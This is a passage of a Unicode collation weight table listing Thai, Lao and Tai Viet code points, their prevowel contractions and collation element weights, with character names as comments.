[.2D8A.0020.0002][.2DAE.0020.0002] # -0E42 0E18 ; [.2D8A.0020.0002][.2DAF.0020.0002] # -0E43 0E18 ; [.2D8A.0020.0002][.2DB0.0020.0002] # -0E44 0E18 ; [.2D8A.0020.0002][.2DB1.0020.0002] # -0E19 ; [.2D8B.0020.0002] # THAI CHARACTER NO NU -0E40 0E19 ; [.2D8B.0020.0002][.2DAD.0020.0002] # -0E41 0E19 ; [.2D8B.0020.0002][.2DAE.0020.0002] # -0E42 0E19 ; [.2D8B.0020.0002][.2DAF.0020.0002] # -0E43 0E19 ; [.2D8B.0020.0002][.2DB0.0020.0002] # -0E44 0E19 ; [.2D8B.0020.0002][.2DB1.0020.0002] # -0E1A ; [.2D8C.0020.0002] # THAI CHARACTER BO BAIMAI -0E40 0E1A ; [.2D8C.0020.0002][.2DAD.0020.0002] # -0E41 0E1A ; [.2D8C.0020.0002][.2DAE.0020.0002] # -0E42 0E1A ; [.2D8C.0020.0002][.2DAF.0020.0002] # -0E43 0E1A ; [.2D8C.0020.0002][.2DB0.0020.0002] # -0E44 0E1A ; [.2D8C.0020.0002][.2DB1.0020.0002] # -0E1B ; [.2D8D.0020.0002] # THAI CHARACTER PO PLA -0E40 0E1B ; [.2D8D.0020.0002][.2DAD.0020.0002] # -0E41 0E1B ; [.2D8D.0020.0002][.2DAE.0020.0002] # -0E42 0E1B ; [.2D8D.0020.0002][.2DAF.0020.0002] # -0E43 0E1B ; [.2D8D.0020.0002][.2DB0.0020.0002] # -0E44 0E1B ; [.2D8D.0020.0002][.2DB1.0020.0002] # -0E1C ; [.2D8E.0020.0002] # THAI CHARACTER PHO PHUNG -0E40 0E1C ; [.2D8E.0020.0002][.2DAD.0020.0002] # -0E41 0E1C ; [.2D8E.0020.0002][.2DAE.0020.0002] # -0E42 0E1C ; [.2D8E.0020.0002][.2DAF.0020.0002] # -0E43 0E1C ; [.2D8E.0020.0002][.2DB0.0020.0002] # -0E44 0E1C ; [.2D8E.0020.0002][.2DB1.0020.0002] # -0E1D ; [.2D8F.0020.0002] # THAI CHARACTER FO FA -0E40 0E1D ; [.2D8F.0020.0002][.2DAD.0020.0002] # -0E41 0E1D ; [.2D8F.0020.0002][.2DAE.0020.0002] # -0E42 0E1D ; [.2D8F.0020.0002][.2DAF.0020.0002] # -0E43 0E1D ; [.2D8F.0020.0002][.2DB0.0020.0002] # -0E44 0E1D ; [.2D8F.0020.0002][.2DB1.0020.0002] # -0E1E ; [.2D90.0020.0002] # THAI CHARACTER PHO PHAN -0E40 0E1E ; [.2D90.0020.0002][.2DAD.0020.0002] # -0E41 0E1E ; [.2D90.0020.0002][.2DAE.0020.0002] # -0E42 0E1E ; [.2D90.0020.0002][.2DAF.0020.0002] # -0E43 0E1E ; [.2D90.0020.0002][.2DB0.0020.0002] # -0E44 0E1E ; [.2D90.0020.0002][.2DB1.0020.0002] # -0E1F ; [.2D91.0020.0002] # THAI CHARACTER FO FAN -0E40 0E1F ; [.2D91.0020.0002][.2DAD.0020.0002] # -0E41 0E1F ; [.2D91.0020.0002][.2DAE.0020.0002] # -0E42 0E1F ; [.2D91.0020.0002][.2DAF.0020.0002] # -0E43 0E1F ; [.2D91.0020.0002][.2DB0.0020.0002] # -0E44 0E1F ; [.2D91.0020.0002][.2DB1.0020.0002] # -0E20 ; [.2D92.0020.0002] # THAI CHARACTER PHO SAMPHAO -0E40 0E20 ; [.2D92.0020.0002][.2DAD.0020.0002] # -0E41 0E20 ; [.2D92.0020.0002][.2DAE.0020.0002] # -0E42 0E20 ; [.2D92.0020.0002][.2DAF.0020.0002] # -0E43 0E20 ; [.2D92.0020.0002][.2DB0.0020.0002] # -0E44 0E20 ; [.2D92.0020.0002][.2DB1.0020.0002] # -0E21 ; [.2D93.0020.0002] # THAI CHARACTER MO MA -0E40 0E21 ; [.2D93.0020.0002][.2DAD.0020.0002] # -0E41 0E21 ; [.2D93.0020.0002][.2DAE.0020.0002] # -0E42 0E21 ; [.2D93.0020.0002][.2DAF.0020.0002] # -0E43 0E21 ; [.2D93.0020.0002][.2DB0.0020.0002] # -0E44 0E21 ; [.2D93.0020.0002][.2DB1.0020.0002] # -0E22 ; [.2D94.0020.0002] # THAI CHARACTER YO YAK -0E40 0E22 ; [.2D94.0020.0002][.2DAD.0020.0002] # -0E41 0E22 ; [.2D94.0020.0002][.2DAE.0020.0002] # -0E42 0E22 ; [.2D94.0020.0002][.2DAF.0020.0002] # -0E43 0E22 ; [.2D94.0020.0002][.2DB0.0020.0002] # -0E44 0E22 ; [.2D94.0020.0002][.2DB1.0020.0002] # -0E23 ; [.2D95.0020.0002] # THAI CHARACTER RO RUA -0E40 0E23 ; [.2D95.0020.0002][.2DAD.0020.0002] # -0E41 0E23 ; [.2D95.0020.0002][.2DAE.0020.0002] # -0E42 0E23 ; [.2D95.0020.0002][.2DAF.0020.0002] # -0E43 0E23 ; [.2D95.0020.0002][.2DB0.0020.0002] # -0E44 0E23 ; [.2D95.0020.0002][.2DB1.0020.0002] # -0E24 ; [.2D96.0020.0002] # THAI CHARACTER RU -0E40 0E24 ; [.2D96.0020.0002][.2DAD.0020.0002] # -0E41 0E24 ; [.2D96.0020.0002][.2DAE.0020.0002] # -0E42 0E24 ; [.2D96.0020.0002][.2DAF.0020.0002] # -0E43 0E24 ; [.2D96.0020.0002][.2DB0.0020.0002] # -0E44 0E24 ; [.2D96.0020.0002][.2DB1.0020.0002] # -0E25 ; [.2D97.0020.0002] # THAI CHARACTER LO LING -0E40 0E25 ; [.2D97.0020.0002][.2DAD.0020.0002] # -0E41 0E25 ; [.2D97.0020.0002][.2DAE.0020.0002] # -0E42 0E25 ; [.2D97.0020.0002][.2DAF.0020.0002] # -0E43 0E25 ; [.2D97.0020.0002][.2DB0.0020.0002] # -0E44 0E25 ; [.2D97.0020.0002][.2DB1.0020.0002] # -0E26 ; [.2D98.0020.0002] # THAI CHARACTER LU -0E40 0E26 ; [.2D98.0020.0002][.2DAD.0020.0002] # -0E41 0E26 ; [.2D98.0020.0002][.2DAE.0020.0002] # -0E42 0E26 ; [.2D98.0020.0002][.2DAF.0020.0002] # -0E43 0E26 ; [.2D98.0020.0002][.2DB0.0020.0002] # -0E44 0E26 ; [.2D98.0020.0002][.2DB1.0020.0002] # -0E27 ; [.2D99.0020.0002] # THAI CHARACTER WO WAEN -0E40 0E27 ; [.2D99.0020.0002][.2DAD.0020.0002] # -0E41 0E27 ; [.2D99.0020.0002][.2DAE.0020.0002] # -0E42 0E27 ; [.2D99.0020.0002][.2DAF.0020.0002] # -0E43 0E27 ; [.2D99.0020.0002][.2DB0.0020.0002] # -0E44 0E27 ; [.2D99.0020.0002][.2DB1.0020.0002] # -0E28 ; [.2D9A.0020.0002] # THAI CHARACTER SO SALA -0E40 0E28 ; [.2D9A.0020.0002][.2DAD.0020.0002] # -0E41 0E28 ; [.2D9A.0020.0002][.2DAE.0020.0002] # -0E42 0E28 ; [.2D9A.0020.0002][.2DAF.0020.0002] # -0E43 0E28 ; [.2D9A.0020.0002][.2DB0.0020.0002] # -0E44 0E28 ; [.2D9A.0020.0002][.2DB1.0020.0002] # -0E29 ; [.2D9B.0020.0002] # THAI CHARACTER SO RUSI -0E40 0E29 ; [.2D9B.0020.0002][.2DAD.0020.0002] # -0E41 0E29 ; [.2D9B.0020.0002][.2DAE.0020.0002] # -0E42 0E29 ; [.2D9B.0020.0002][.2DAF.0020.0002] # -0E43 0E29 ; [.2D9B.0020.0002][.2DB0.0020.0002] # -0E44 0E29 ; [.2D9B.0020.0002][.2DB1.0020.0002] # -0E2A ; [.2D9C.0020.0002] # THAI CHARACTER SO SUA -0E40 0E2A ; [.2D9C.0020.0002][.2DAD.0020.0002] # -0E41 0E2A ; [.2D9C.0020.0002][.2DAE.0020.0002] # -0E42 0E2A ; [.2D9C.0020.0002][.2DAF.0020.0002] # -0E43 0E2A ; [.2D9C.0020.0002][.2DB0.0020.0002] # -0E44 0E2A ; [.2D9C.0020.0002][.2DB1.0020.0002] # -0E2B ; [.2D9D.0020.0002] # THAI CHARACTER HO HIP -0E40 0E2B ; [.2D9D.0020.0002][.2DAD.0020.0002] # -0E41 0E2B ; [.2D9D.0020.0002][.2DAE.0020.0002] # -0E42 0E2B ; [.2D9D.0020.0002][.2DAF.0020.0002] # -0E43 0E2B ; [.2D9D.0020.0002][.2DB0.0020.0002] # -0E44 0E2B ; [.2D9D.0020.0002][.2DB1.0020.0002] # -0E2C ; [.2D9E.0020.0002] # THAI CHARACTER LO CHULA -0E40 0E2C ; [.2D9E.0020.0002][.2DAD.0020.0002] # -0E41 0E2C ; [.2D9E.0020.0002][.2DAE.0020.0002] # -0E42 0E2C ; [.2D9E.0020.0002][.2DAF.0020.0002] # -0E43 0E2C ; [.2D9E.0020.0002][.2DB0.0020.0002] # -0E44 0E2C ; [.2D9E.0020.0002][.2DB1.0020.0002] # -0E2D ; [.2D9F.0020.0002] # THAI CHARACTER O ANG -0E40 0E2D ; [.2D9F.0020.0002][.2DAD.0020.0002] # -0E41 0E2D ; [.2D9F.0020.0002][.2DAE.0020.0002] # -0E42 0E2D ; [.2D9F.0020.0002][.2DAF.0020.0002] # -0E43 0E2D ; [.2D9F.0020.0002][.2DB0.0020.0002] # -0E44 0E2D ; [.2D9F.0020.0002][.2DB1.0020.0002] # -0E2E ; [.2DA0.0020.0002] # THAI CHARACTER HO NOKHUK -0E40 0E2E ; [.2DA0.0020.0002][.2DAD.0020.0002] # -0E41 0E2E ; [.2DA0.0020.0002][.2DAE.0020.0002] # -0E42 0E2E ; [.2DA0.0020.0002][.2DAF.0020.0002] # -0E43 0E2E ; [.2DA0.0020.0002][.2DB0.0020.0002] # -0E44 0E2E ; [.2DA0.0020.0002][.2DB1.0020.0002] # -0E2F ; [.2DA1.0020.0002] # THAI CHARACTER PAIYANNOI -0E30 ; [.2DA2.0020.0002] # THAI CHARACTER SARA A -0E31 ; [.2DA3.0020.0002] # THAI CHARACTER MAI HAN-AKAT -0E32 ; [.2DA4.0020.0002] # THAI CHARACTER SARA AA -0E33 ; [.2DA5.0020.0002] # THAI CHARACTER SARA AM -0E4D 0E32 ; [.2DA5.0020.0002] # THAI CHARACTER SARA AM -0E34 ; [.2DA6.0020.0002] # THAI CHARACTER SARA I -0E35 ; [.2DA7.0020.0002] # THAI CHARACTER SARA II -0E36 ; [.2DA8.0020.0002] # THAI CHARACTER SARA UE -0E37 ; [.2DA9.0020.0002] # THAI CHARACTER SARA UEE -0E38 ; [.2DAA.0020.0002] # THAI CHARACTER SARA U -0E39 ; [.2DAB.0020.0002] # THAI CHARACTER SARA UU -0E3A ; [.2DAC.0020.0002] # THAI CHARACTER PHINTHU -0E40 ; [.2DAD.0020.0002] # THAI CHARACTER SARA E -0E41 ; [.2DAE.0020.0002] # THAI CHARACTER SARA AE -0E42 ; [.2DAF.0020.0002] # THAI CHARACTER SARA O -0E43 ; [.2DB0.0020.0002] # THAI CHARACTER SARA AI MAIMUAN -0E44 ; [.2DB1.0020.0002] # THAI CHARACTER SARA AI MAIMALAI -0E45 ; [.2DB2.0020.0002] # THAI CHARACTER LAKKHANGYAO -0EDE ; [.2DB3.0020.0002] # LAO LETTER KHMU GO -0EC0 0EDE ; [.2DB3.0020.0002][.2DDE.0020.0002] # -0EC1 0EDE ; [.2DB3.0020.0002][.2DDF.0020.0002] # -0EC2 0EDE ; [.2DB3.0020.0002][.2DE0.0020.0002] # -0EC3 0EDE ; [.2DB3.0020.0002][.2DE1.0020.0002] # -0EC4 0EDE ; [.2DB3.0020.0002][.2DE2.0020.0002] # -0E81 ; [.2DB4.0020.0002] # LAO LETTER KO -0EC0 0E81 ; [.2DB4.0020.0002][.2DDE.0020.0002] # -0EC1 0E81 ; [.2DB4.0020.0002][.2DDF.0020.0002] # -0EC2 0E81 ; [.2DB4.0020.0002][.2DE0.0020.0002] # -0EC3 0E81 ; [.2DB4.0020.0002][.2DE1.0020.0002] # -0EC4 0E81 ; [.2DB4.0020.0002][.2DE2.0020.0002] # -0E82 ; [.2DB5.0020.0002] # LAO LETTER KHO SUNG -0EC0 0E82 ; [.2DB5.0020.0002][.2DDE.0020.0002] # -0EC1 0E82 ; [.2DB5.0020.0002][.2DDF.0020.0002] # -0EC2 0E82 ; [.2DB5.0020.0002][.2DE0.0020.0002] # -0EC3 0E82 ; [.2DB5.0020.0002][.2DE1.0020.0002] # -0EC4 0E82 ; [.2DB5.0020.0002][.2DE2.0020.0002] # -0E84 ; [.2DB6.0020.0002] # LAO LETTER KHO TAM -0EC0 0E84 ; [.2DB6.0020.0002][.2DDE.0020.0002] # -0EC1 0E84 ; [.2DB6.0020.0002][.2DDF.0020.0002] # -0EC2 0E84 ; [.2DB6.0020.0002][.2DE0.0020.0002] # -0EC3 0E84 ; [.2DB6.0020.0002][.2DE1.0020.0002] # -0EC4 0E84 ; [.2DB6.0020.0002][.2DE2.0020.0002] # -0E87 ; [.2DB7.0020.0002] # LAO LETTER NGO -0EC0 0E87 ; [.2DB7.0020.0002][.2DDE.0020.0002] # -0EC1 0E87 ; [.2DB7.0020.0002][.2DDF.0020.0002] # -0EC2 0E87 ; [.2DB7.0020.0002][.2DE0.0020.0002] # -0EC3 0E87 ; [.2DB7.0020.0002][.2DE1.0020.0002] # -0EC4 0E87 ; [.2DB7.0020.0002][.2DE2.0020.0002] # -0E88 ; [.2DB8.0020.0002] # LAO LETTER CO -0EC0 0E88 ; [.2DB8.0020.0002][.2DDE.0020.0002] # -0EC1 0E88 ; [.2DB8.0020.0002][.2DDF.0020.0002] # -0EC2 0E88 ; [.2DB8.0020.0002][.2DE0.0020.0002] # -0EC3 0E88 ; [.2DB8.0020.0002][.2DE1.0020.0002] # -0EC4 0E88 ; [.2DB8.0020.0002][.2DE2.0020.0002] # -0EAA ; [.2DB9.0020.0002] # LAO LETTER SO SUNG -0EC0 0EAA ; [.2DB9.0020.0002][.2DDE.0020.0002] # -0EC1 0EAA ; [.2DB9.0020.0002][.2DDF.0020.0002] # -0EC2 0EAA ; [.2DB9.0020.0002][.2DE0.0020.0002] # -0EC3 0EAA ; [.2DB9.0020.0002][.2DE1.0020.0002] # -0EC4 0EAA ; [.2DB9.0020.0002][.2DE2.0020.0002] # -0E8A ; [.2DBA.0020.0002] # LAO LETTER SO TAM -0EC0 0E8A ; [.2DBA.0020.0002][.2DDE.0020.0002] # -0EC1 0E8A ; [.2DBA.0020.0002][.2DDF.0020.0002] # -0EC2 0E8A ; [.2DBA.0020.0002][.2DE0.0020.0002] # -0EC3 0E8A ; [.2DBA.0020.0002][.2DE1.0020.0002] # -0EC4 0E8A ; [.2DBA.0020.0002][.2DE2.0020.0002] # -0EDF ; [.2DBB.0020.0002] # LAO LETTER KHMU NYO -0EC0 0EDF ; [.2DBB.0020.0002][.2DDE.0020.0002] # -0EC1 0EDF ; [.2DBB.0020.0002][.2DDF.0020.0002] # -0EC2 0EDF ; [.2DBB.0020.0002][.2DE0.0020.0002] # -0EC3 0EDF ; [.2DBB.0020.0002][.2DE1.0020.0002] # -0EC4 0EDF ; [.2DBB.0020.0002][.2DE2.0020.0002] # -0E8D ; [.2DBC.0020.0002] # LAO LETTER NYO -0EC0 0E8D ; [.2DBC.0020.0002][.2DDE.0020.0002] # -0EC1 0E8D ; [.2DBC.0020.0002][.2DDF.0020.0002] # -0EC2 0E8D ; [.2DBC.0020.0002][.2DE0.0020.0002] # -0EC3 0E8D ; [.2DBC.0020.0002][.2DE1.0020.0002] # -0EC4 0E8D ; [.2DBC.0020.0002][.2DE2.0020.0002] # -0E94 ; [.2DBD.0020.0002] # LAO LETTER DO -0EC0 0E94 ; [.2DBD.0020.0002][.2DDE.0020.0002] # -0EC1 0E94 ; [.2DBD.0020.0002][.2DDF.0020.0002] # -0EC2 0E94 ; [.2DBD.0020.0002][.2DE0.0020.0002] # -0EC3 0E94 ; [.2DBD.0020.0002][.2DE1.0020.0002] # -0EC4 0E94 ; [.2DBD.0020.0002][.2DE2.0020.0002] # -0E95 ; [.2DBE.0020.0002] # LAO LETTER TO -0EC0 0E95 ; [.2DBE.0020.0002][.2DDE.0020.0002] # -0EC1 0E95 ; [.2DBE.0020.0002][.2DDF.0020.0002] # -0EC2 0E95 ; [.2DBE.0020.0002][.2DE0.0020.0002] # -0EC3 0E95 ; [.2DBE.0020.0002][.2DE1.0020.0002] # -0EC4 0E95 ; [.2DBE.0020.0002][.2DE2.0020.0002] # -0E96 ; [.2DBF.0020.0002] # LAO LETTER THO SUNG -0EC0 0E96 ; [.2DBF.0020.0002][.2DDE.0020.0002] # -0EC1 0E96 ; [.2DBF.0020.0002][.2DDF.0020.0002] # -0EC2 0E96 ; [.2DBF.0020.0002][.2DE0.0020.0002] # -0EC3 0E96 ; [.2DBF.0020.0002][.2DE1.0020.0002] # -0EC4 0E96 ; [.2DBF.0020.0002][.2DE2.0020.0002] # -0E97 ; [.2DC0.0020.0002] # LAO LETTER THO TAM -0EC0 0E97 ; [.2DC0.0020.0002][.2DDE.0020.0002] # -0EC1 0E97 ; [.2DC0.0020.0002][.2DDF.0020.0002] # -0EC2 0E97 ; [.2DC0.0020.0002][.2DE0.0020.0002] # -0EC3 0E97 ; [.2DC0.0020.0002][.2DE1.0020.0002] # -0EC4 0E97 ; [.2DC0.0020.0002][.2DE2.0020.0002] # -0E99 ; [.2DC1.0020.0002] # LAO LETTER NO -0EC0 0E99 ; [.2DC1.0020.0002][.2DDE.0020.0002] # -0EC1 0E99 ; [.2DC1.0020.0002][.2DDF.0020.0002] # -0EC2 0E99 ; [.2DC1.0020.0002][.2DE0.0020.0002] # -0EC3 0E99 ; [.2DC1.0020.0002][.2DE1.0020.0002] # -0EC4 0E99 ; [.2DC1.0020.0002][.2DE2.0020.0002] # -0E9A ; [.2DC2.0020.0002] # LAO LETTER BO -0EC0 0E9A ; [.2DC2.0020.0002][.2DDE.0020.0002] # -0EC1 0E9A ; [.2DC2.0020.0002][.2DDF.0020.0002] # -0EC2 0E9A ; [.2DC2.0020.0002][.2DE0.0020.0002] # -0EC3 0E9A ; [.2DC2.0020.0002][.2DE1.0020.0002] # -0EC4 0E9A ; [.2DC2.0020.0002][.2DE2.0020.0002] # -0E9B ; [.2DC3.0020.0002] # LAO LETTER PO -0EC0 0E9B ; [.2DC3.0020.0002][.2DDE.0020.0002] # -0EC1 0E9B ; [.2DC3.0020.0002][.2DDF.0020.0002] # -0EC2 0E9B ; [.2DC3.0020.0002][.2DE0.0020.0002] # -0EC3 0E9B ; [.2DC3.0020.0002][.2DE1.0020.0002] # -0EC4 0E9B ; [.2DC3.0020.0002][.2DE2.0020.0002] # -0E9C ; [.2DC4.0020.0002] # LAO LETTER PHO SUNG -0EC0 0E9C ; [.2DC4.0020.0002][.2DDE.0020.0002] # -0EC1 0E9C ; [.2DC4.0020.0002][.2DDF.0020.0002] # -0EC2 0E9C ; [.2DC4.0020.0002][.2DE0.0020.0002] # -0EC3 0E9C ; [.2DC4.0020.0002][.2DE1.0020.0002] # -0EC4 0E9C ; [.2DC4.0020.0002][.2DE2.0020.0002] # -0E9D ; [.2DC5.0020.0002] # LAO LETTER FO TAM -0EC0 0E9D ; [.2DC5.0020.0002][.2DDE.0020.0002] # -0EC1 0E9D ; [.2DC5.0020.0002][.2DDF.0020.0002] # -0EC2 0E9D ; [.2DC5.0020.0002][.2DE0.0020.0002] # -0EC3 0E9D ; [.2DC5.0020.0002][.2DE1.0020.0002] # -0EC4 0E9D ; [.2DC5.0020.0002][.2DE2.0020.0002] # -0E9E ; [.2DC6.0020.0002] # LAO LETTER PHO TAM -0EC0 0E9E ; [.2DC6.0020.0002][.2DDE.0020.0002] # -0EC1 0E9E ; [.2DC6.0020.0002][.2DDF.0020.0002] # -0EC2 0E9E ; [.2DC6.0020.0002][.2DE0.0020.0002] # -0EC3 0E9E ; [.2DC6.0020.0002][.2DE1.0020.0002] # -0EC4 0E9E ; [.2DC6.0020.0002][.2DE2.0020.0002] # -0E9F ; [.2DC7.0020.0002] # LAO LETTER FO SUNG -0EC0 0E9F ; [.2DC7.0020.0002][.2DDE.0020.0002] # -0EC1 0E9F ; [.2DC7.0020.0002][.2DDF.0020.0002] # -0EC2 0E9F ; [.2DC7.0020.0002][.2DE0.0020.0002] # -0EC3 0E9F ; [.2DC7.0020.0002][.2DE1.0020.0002] # -0EC4 0E9F ; [.2DC7.0020.0002][.2DE2.0020.0002] # -0EA1 ; [.2DC8.0020.0002] # LAO LETTER MO -0EC0 0EA1 ; [.2DC8.0020.0002][.2DDE.0020.0002] # -0EC1 0EA1 ; [.2DC8.0020.0002][.2DDF.0020.0002] # -0EC2 0EA1 ; [.2DC8.0020.0002][.2DE0.0020.0002] # -0EC3 0EA1 ; [.2DC8.0020.0002][.2DE1.0020.0002] # -0EC4 0EA1 ; [.2DC8.0020.0002][.2DE2.0020.0002] # -0EA2 ; [.2DC9.0020.0002] # LAO LETTER YO -0EC0 0EA2 ; [.2DC9.0020.0002][.2DDE.0020.0002] # -0EC1 0EA2 ; [.2DC9.0020.0002][.2DDF.0020.0002] # -0EC2 0EA2 ; [.2DC9.0020.0002][.2DE0.0020.0002] # -0EC3 0EA2 ; [.2DC9.0020.0002][.2DE1.0020.0002] # -0EC4 0EA2 ; [.2DC9.0020.0002][.2DE2.0020.0002] # -0EA3 ; [.2DCA.0020.0002] # LAO LETTER LO LING -0EC0 0EA3 ; [.2DCA.0020.0002][.2DDE.0020.0002] # -0EC1 0EA3 ; [.2DCA.0020.0002][.2DDF.0020.0002] # -0EC2 0EA3 ; [.2DCA.0020.0002][.2DE0.0020.0002] # -0EC3 0EA3 ; [.2DCA.0020.0002][.2DE1.0020.0002] # -0EC4 0EA3 ; [.2DCA.0020.0002][.2DE2.0020.0002] # -0EA5 ; [.2DCB.0020.0002] # LAO LETTER LO LOOT -0EC0 0EA5 ; [.2DCB.0020.0002][.2DDE.0020.0002] # -0EC1 0EA5 ; [.2DCB.0020.0002][.2DDF.0020.0002] # -0EC2 0EA5 ; [.2DCB.0020.0002][.2DE0.0020.0002] # -0EC3 0EA5 ; [.2DCB.0020.0002][.2DE1.0020.0002] # -0EC4 0EA5 ; [.2DCB.0020.0002][.2DE2.0020.0002] # -0EA7 ; [.2DCC.0020.0002] # LAO LETTER WO -0EC0 0EA7 ; [.2DCC.0020.0002][.2DDE.0020.0002] # -0EC1 0EA7 ; [.2DCC.0020.0002][.2DDF.0020.0002] # -0EC2 0EA7 ; [.2DCC.0020.0002][.2DE0.0020.0002] # -0EC3 0EA7 ; [.2DCC.0020.0002][.2DE1.0020.0002] # -0EC4 0EA7 ; [.2DCC.0020.0002][.2DE2.0020.0002] # -0EAB ; [.2DCD.0020.0002] # LAO LETTER HO SUNG -0EDC ; [.2DCD.0020.0004][.2DC1.0020.0004] # LAO HO NO -0EC0 0EDC ; [.2DCD.0020.0004][.2DC1.0020.0004][.2DDE.0020.0002] # -0EC1 0EDC ; [.2DCD.0020.0004][.2DC1.0020.0004][.2DDF.0020.0002] # -0EC2 0EDC ; [.2DCD.0020.0004][.2DC1.0020.0004][.2DE0.0020.0002] # -0EC3 0EDC ; [.2DCD.0020.0004][.2DC1.0020.0004][.2DE1.0020.0002] # -0EC4 0EDC ; [.2DCD.0020.0004][.2DC1.0020.0004][.2DE2.0020.0002] # -0EDD ; [.2DCD.0020.0004][.2DC8.0020.0004] # LAO HO MO -0EC0 0EDD ; [.2DCD.0020.0004][.2DC8.0020.0004][.2DDE.0020.0002] # -0EC1 0EDD ; [.2DCD.0020.0004][.2DC8.0020.0004][.2DDF.0020.0002] # -0EC2 0EDD ; [.2DCD.0020.0004][.2DC8.0020.0004][.2DE0.0020.0002] # -0EC3 0EDD ; [.2DCD.0020.0004][.2DC8.0020.0004][.2DE1.0020.0002] # -0EC4 0EDD ; [.2DCD.0020.0004][.2DC8.0020.0004][.2DE2.0020.0002] # -0EC0 0EAB ; [.2DCD.0020.0002][.2DDE.0020.0002] # -0EC1 0EAB ; [.2DCD.0020.0002][.2DDF.0020.0002] # -0EC2 0EAB ; [.2DCD.0020.0002][.2DE0.0020.0002] # -0EC3 0EAB ; [.2DCD.0020.0002][.2DE1.0020.0002] # -0EC4 0EAB ; [.2DCD.0020.0002][.2DE2.0020.0002] # -0EAD ; [.2DCE.0020.0002] # LAO LETTER O -0EC0 0EAD ; [.2DCE.0020.0002][.2DDE.0020.0002] # -0EC1 0EAD ; [.2DCE.0020.0002][.2DDF.0020.0002] # -0EC2 0EAD ; [.2DCE.0020.0002][.2DE0.0020.0002] # -0EC3 0EAD ; [.2DCE.0020.0002][.2DE1.0020.0002] # -0EC4 0EAD ; [.2DCE.0020.0002][.2DE2.0020.0002] # -0EAE ; [.2DCF.0020.0002] # LAO LETTER HO TAM -0EC0 0EAE ; [.2DCF.0020.0002][.2DDE.0020.0002] # -0EC1 0EAE ; [.2DCF.0020.0002][.2DDF.0020.0002] # -0EC2 0EAE ; [.2DCF.0020.0002][.2DE0.0020.0002] # -0EC3 0EAE ; [.2DCF.0020.0002][.2DE1.0020.0002] # -0EC4 0EAE ; [.2DCF.0020.0002][.2DE2.0020.0002] # -0EAF ; [.2DD0.0020.0002] # LAO ELLIPSIS -0EB0 ; [.2DD1.0020.0002] # LAO VOWEL SIGN A -0EB1 ; [.2DD2.0020.0002] # LAO VOWEL SIGN MAI KAN -0EB2 ; [.2DD3.0020.0002] # LAO VOWEL SIGN AA -0EB3 ; [.2DD4.0020.0002] # LAO VOWEL SIGN AM -0ECD 0EB2 ; [.2DD4.0020.0002] # LAO VOWEL SIGN AM -0EB4 ; [.2DD5.0020.0002] # LAO VOWEL SIGN I -0EB5 ; [.2DD6.0020.0002] # LAO VOWEL SIGN II -0EB6 ; [.2DD7.0020.0002] # LAO VOWEL SIGN Y -0EB7 ; [.2DD8.0020.0002] # LAO VOWEL SIGN YY -0EB8 ; [.2DD9.0020.0002] # LAO VOWEL SIGN U -0EB9 ; [.2DDA.0020.0002] # LAO VOWEL SIGN UU -0EBB ; [.2DDB.0020.0002] # LAO VOWEL SIGN MAI KON -0EBC ; [.2DDC.0020.0002] # LAO SEMIVOWEL SIGN LO -0EBD ; [.2DDD.0020.0002] # LAO SEMIVOWEL SIGN NYO -0EC0 ; [.2DDE.0020.0002] # LAO VOWEL SIGN E -0EC1 ; [.2DDF.0020.0002] # LAO VOWEL SIGN EI -0EC2 ; [.2DE0.0020.0002] # LAO VOWEL SIGN O -0EC3 ; [.2DE1.0020.0002] # LAO VOWEL SIGN AY -0EC4 ; [.2DE2.0020.0002] # LAO VOWEL SIGN AI -AA80 ; [.2DE3.0020.0002] # TAI VIET LETTER LOW KO -AAB5 AA80 ; [.2DE3.0020.0002][.2E18.0020.0002] # -AAB6 AA80 ; [.2DE3.0020.0002][.2E19.0020.0002] # -AAB9 AA80 ; [.2DE3.0020.0002][.2E1C.0020.0002] # -AABB AA80 ; [.2DE3.0020.0002][.2E1E.0020.0002] # -AABC AA80 ; [.2DE3.0020.0002][.2E1F.0020.0002] # -AA81 ; [.2DE4.0020.0002] # TAI VIET LETTER HIGH KO -AAB5 AA81 ; [.2DE4.0020.0002][.2E18.0020.0002] # -AAB6 AA81 ; [.2DE4.0020.0002][.2E19.0020.0002] # -AAB9 AA81 ; [.2DE4.0020.0002][.2E1C.0020.0002] # -AABB AA81 ; [.2DE4.0020.0002][.2E1E.0020.0002] # -AABC AA81 ; [.2DE4.0020.0002][.2E1F.0020.0002] # -AA82 ; [.2DE5.0020.0002] # TAI VIET LETTER LOW KHO -AAB5 AA82 ; [.2DE5.0020.0002][.2E18.0020.0002] # -AAB6 AA82 ; [.2DE5.0020.0002][.2E19.0020.0002] # -AAB9 AA82 ; [.2DE5.0020.0002][.2E1C.0020.0002] # -AABB AA82 ; [.2DE5.0020.0002][.2E1E.0020.0002] # -AABC AA82 ; [.2DE5.0020.0002][.2E1F.0020.0002] # -AA83 ; [.2DE6.0020.0002] # TAI VIET LETTER HIGH KHO -AAB5 AA83 ; [.2DE6.0020.0002][.2E18.0020.0002] # -AAB6 AA83 ; [.2DE6.0020.0002][.2E19.0020.0002] # -AAB9 AA83 ; [.2DE6.0020.0002][.2E1C.0020.0002] # -AABB AA83 ; [.2DE6.0020.0002][.2E1E.0020.0002] # -AABC AA83 ; [.2DE6.0020.0002][.2E1F.0020.0002] # -AA84 ; [.2DE7.0020.0002] # TAI VIET LETTER LOW KHHO -AAB5 AA84 ; [.2DE7.0020.0002][.2E18.0020.0002] # -AAB6 AA84 ; [.2DE7.0020.0002][.2E19.0020.0002] # -AAB9 AA84 ; [.2DE7.0020.0002][.2E1C.0020.0002] # -AABB AA84 ; [.2DE7.0020.0002][.2E1E.0020.0002] # -AABC AA84 ; [.2DE7.0020.0002][.2E1F.0020.0002] # -AA85 ; [.2DE8.0020.0002] # TAI VIET LETTER HIGH KHHO -AAB5 AA85 ; [.2DE8.0020.0002][.2E18.0020.0002] # -AAB6 AA85 ; [.2DE8.0020.0002][.2E19.0020.0002] # -AAB9 AA85 ; [.2DE8.0020.0002][.2E1C.0020.0002] # -AABB AA85 ; [.2DE8.0020.0002][.2E1E.0020.0002] # -AABC AA85 ; [.2DE8.0020.0002][.2E1F.0020.0002] # -AA86 ; [.2DE9.0020.0002] # TAI VIET LETTER LOW GO -AAB5 AA86 ; [.2DE9.0020.0002][.2E18.0020.0002] # -AAB6 AA86 ; [.2DE9.0020.0002][.2E19.0020.0002] # -AAB9 AA86 ; [.2DE9.0020.0002][.2E1C.0020.0002] # -AABB AA86 ; [.2DE9.0020.0002][.2E1E.0020.0002] # -AABC AA86 ; [.2DE9.0020.0002][.2E1F.0020.0002] # -AA87 ; [.2DEA.0020.0002] # TAI VIET LETTER HIGH GO -AAB5 AA87 ; 